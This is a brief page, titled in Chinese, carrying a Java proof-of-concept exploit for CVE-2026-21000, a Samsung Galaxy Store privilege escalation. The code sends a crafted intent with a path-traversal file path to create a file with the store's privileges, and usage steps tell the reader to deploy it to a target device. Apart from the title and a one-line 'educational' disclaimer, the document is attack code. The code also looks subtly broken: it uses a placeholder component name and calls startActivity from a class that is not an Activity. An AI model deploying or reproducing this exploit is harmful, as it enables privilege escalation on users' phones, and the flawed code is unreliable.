CVE-2026-21000 三星Galaxy Store权限提升漏洞

// CVE-2026-21000 PoC - Galaxy Store Privilege Escalation // This PoC demonstrates improper access control in Galaxy Store // Target: Samsung Galaxy Store < 4.6.03.8 // Note: This is a conceptual PoC for educational purposes only import android.content.Intent; import android.net.Uri; import android.os.Bundle; public class GalaxyStoreExploit { // Exploit the improper access control to create files with Galaxy Store privilege public void exploitGalaxyStore() { try { // Step 1: Identify vulnerable component in Galaxy Store // The vulnerability exists in how Galaxy Store handles file creation requests // Step 2: Craft malicious intent to trigger file creation Intent maliciousIntent = new Intent(); maliciousIntent.setComponent(new android.content.ComponentName( "com.sec.android.app.samsungapps", "com.sec.android.app.samsungapps.unkclass" )); // Step 3: Set up data URI pointing to target file location // This exploits the improper access control Uri targetUri = Uri.parse("content://com.sec.android.app.samsungapps.provider/file_creation"); maliciousIntent.setData(targetUri); // Step 4: Add extra data to specify file content and path Bundle extras = new Bundle(); extras.putString("file_path", "/data/data/com.sec.android.app.samsungapps/../attacked_file"); extras.putString("file_content", "malicious_content"); maliciousIntent.putExtras(extras); // Step 5: Launch the exploit // This will create a file with Galaxy Store privileges startActivity(maliciousIntent); } catch (Exception e) { e.printStackTrace(); } } // Verification method to check if file was created public boolean verifyExploit() { java.io.File createdFile = new java.io.File("/data/data/com.sec.android.app.samsungapps/attacked_file"); return createdFile.exists(); } } // Usage: // 1. Deploy this exploit to the target Samsung device // 2. Ensure the device has Galaxy Store < 4.6.03.8 installed // 3. Execute the exploit with local user privileges // 4. Verify file creation with elevated privileges